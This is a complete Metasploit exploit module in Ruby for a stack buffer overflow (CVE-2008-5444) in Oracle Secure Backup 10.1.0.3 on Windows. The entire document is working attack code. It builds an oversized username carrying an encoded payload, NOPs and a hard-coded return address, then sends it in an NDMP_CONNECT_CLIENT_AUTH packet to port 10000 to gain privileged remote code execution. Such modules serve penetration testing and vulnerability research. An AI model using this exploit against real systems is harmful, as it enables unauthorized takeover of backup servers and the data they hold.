Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::NDMP  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Oracle Secure Backup NDMP_CONNECT_CLIENT_AUTH Buffer Overflow',  
'Description' => %q{  
The module exploits a stack overflow in Oracle Secure Backup.  
When sending a specially crafted NDMP_CONNECT_CLIENT_AUTH packet,  
an attacker may be able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2008-5444' ],  
[ 'OSVDB', '51340' ],  
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],  
],  
'Platform' => 'win',  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
},  
'Targets' =>   
[  
[ 'Oracle Secure Backup 10.1.0.3 (Windows 2003 SP0/Windows XP SP3)', { 'Ret' => 0x608f5a28 } ], # oracore10.dll  
],  
'DisclosureDate' => 'Jan 14 2009',   
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(10000)], self.class)  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
ndmp_recv()  
  
username = rand_text_alphanumeric(3789 - payload.encoded.length)  
username << payload.encoded + Rex::Arch::X86.jmp_short(6)   
username << make_nops(2) + [target.ret].pack('V') + [0xe8, -850].pack('CV')   
username << rand_text_alphanumeric(5000 - 3793 - payload.encoded.length - 8 - 5)  
  
password = rand_text_alphanumeric(rand(25) + 1)  
  
# Create the authentication request  
auth = [  
0, # Sequence number  
Time.now.to_i, # Current time  
0, # Message type (request)  
0x901, # Message name (connect_client_auth)  
0, # Reply sequence number  
0, # Error status  
1 # Authentication type  
].pack('NNNNNNN') +  
[ username.length ].pack('N') + username +  
[ password.length ].pack('N') + password +  
[ 4 ].pack('N')  
  
print_status("Sending authentication request...")  
ndmp_send(auth)  
  
handler  
disconnect  
end  
  
end  
`